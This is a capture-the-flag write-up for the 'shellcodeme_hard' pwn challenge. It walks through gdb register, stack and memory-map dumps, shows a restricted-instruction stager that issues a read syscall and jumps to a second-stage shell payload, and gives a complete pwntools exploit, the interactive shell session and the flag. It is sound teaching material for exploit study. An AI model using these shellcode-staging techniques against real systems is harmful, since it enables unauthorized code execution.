Tags: pwn 

Rating:

## === shellcodeme_hard (Pwn: 37 solves / 420 pts) ===

As with shellcodeme, I have to enter seven or fewer uniquet codes.
The state of the registers and stack after starting code with setcontent() is the following.
Because the readable address is not set in the rsi register , I can set the rsi register by using 5th statck data.

```
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x746623baba2672be
RCX: 0xcc9252dbb3b04aa1
RDX: 0xa1edd10e409d1774
RSI: 0x32c5836d0d5bec7c
RDI: 0x83109510a2d6c159
RIP: 0x7ffff7ff3000 (pop rdi)
[-------------------------------------code-------------------------------------]
=> 0x7ffff7ff3000: pop rdi
[------------------------------------stack-------------------------------------]
0000| 0x7ffff7ff2c48 --> 0x7ffff7a575d0 (mov rsp,rbx)
0008| 0x7ffff7ff2c50 --> 0x0
0016| 0x7ffff7ff2c58 --> 0x0 ==> pop rdi
0024| 0x7ffff7ff2c60 --> 0x0
0032| 0x7ffff7ff2c68 --> 0x7ffff7ff2c58 --> 0x0 ==> pop rsi
0040| 0x7ffff7ff2c70 --> 0x0
0048| 0x7ffff7ff2c78 --> 0x0
0056| 0x7ffff7ff2c80 --> 0x3da844d4c6a5c2f
: <abridgement>
0000| 0x7ffff7ff2df8 --> 0x0
0008| 0x7ffff7ff2e00 --> 0xffff0000ffff037f
0016| 0x7ffff7ff2e08 --> 0xffffffff
0024| 0x7ffff7ff2e10 --> 0x0
0032| 0x7ffff7ff2e18 --> 0x1f80 ==> pop rdx
```

The status of memory map is as follow

```
gdb-peda$ vmmap
Start End Perm Name
0x00007ffff7fd8000 0x00007ffff7fdb000 rw-p mapped
0x00007ffff7fef000 0x00007ffff7ff3000 rwxp mapped ==> 0x7ffff7ff2c68 is here. rwxp is set !!!
0x00007ffff7ff3000 0x00007ffff7ff7000 r-xp mapped
```

The assemble code is the following.

```
gdb-peda$ x/100i 0x7ffff7ff3000
=> 0x7ffff7ff3000: pop rdi
0x7ffff7ff3001: pop rdi
0x7ffff7ff3002: pop rdi
0x7ffff7ff3003: pop rsi
0x7ffff7ff3004: pop rsi
0x7ffff7ff3005: pop rdx
0x7ffff7ff3006: pop rdx
0x7ffff7ff3007: pop rdx
: <abridgement>
0x7ffff7ff3038: pop rdx
0x7ffff7ff3039: pop rdx
0x7ffff7ff303a: pop rdx
0x7ffff7ff303b: syscall
0x7ffff7ff303d: call rsi
```

Below is the state after pop of rdx, rsi, rdi.
I can call read syscall and read the shellcode into rsi's address area.
And I can call to rsi and start shellcode.

```
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x4587a531ff6eeea0
RCX: 0xceef4f729d224b55
RDX: 0x1f80
RSI: 0x7ffff7ff2c58 --> 0x0
RDI: 0x0
RBP: 0xc995040e7bdeff7
RSP: 0x7ffff7ff2e20 --> 0x0
RIP: 0x7ffff7ff303b (syscall)
[-------------------------------------code-------------------------------------]
0x7ffff7ff3038: pop rdx
0x7ffff7ff3039: pop rdx
0x7ffff7ff303a: pop rdx
=> 0x7ffff7ff303b: syscall
0x7ffff7ff303d: call rsi
0x7ffff7ff303f: or al,BYTE PTR [rax]
0x7ffff7ff3041: add BYTE PTR [rax],al
0x7ffff7ff3043: add BYTE PTR [rax],al
```

Final exploit code is the following.

```
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug'

shellcode = asm(shellcraft.amd64.linux.sh())

BINARY = './shellcodeme_hard'

if len(sys.argv) > 1 and sys.argv[1] == 'r':
HOST = "shellcodeme.420blaze.in"
PORT = 4200
s = remote(HOST, PORT)
else:
s = process(BINARY)

s.recvuntil("Shellcode?\n")
buf = asm("pop rdi") * 3
buf += asm("pop rsi") * 2
buf += asm("pop rdx") * 54
buf += asm("syscall")
buf += asm("call rsi")
s.sendline(buf)

sleep(0.1)
s.sendline(shellcode)

s.interactive()
```

The execution result is the following.

```
ubuntu:~/Pwn_shellcodeme_hard$ python solve.py r
[+] Opening connection to shellcodeme.420blaze.in on port 4200: Done
[*] Switching to interactive mode
$ id
uid=1000(shellcodeme_hard) gid=1000(shellcodeme_hard) groups=1000(shellcodeme_hard)
$ ls
flag
shellcodeme_hard
$ cat flag
42018{M0r3Robu5tSh3llc0d1ngWithR4nd0mR3g1st3rs}
```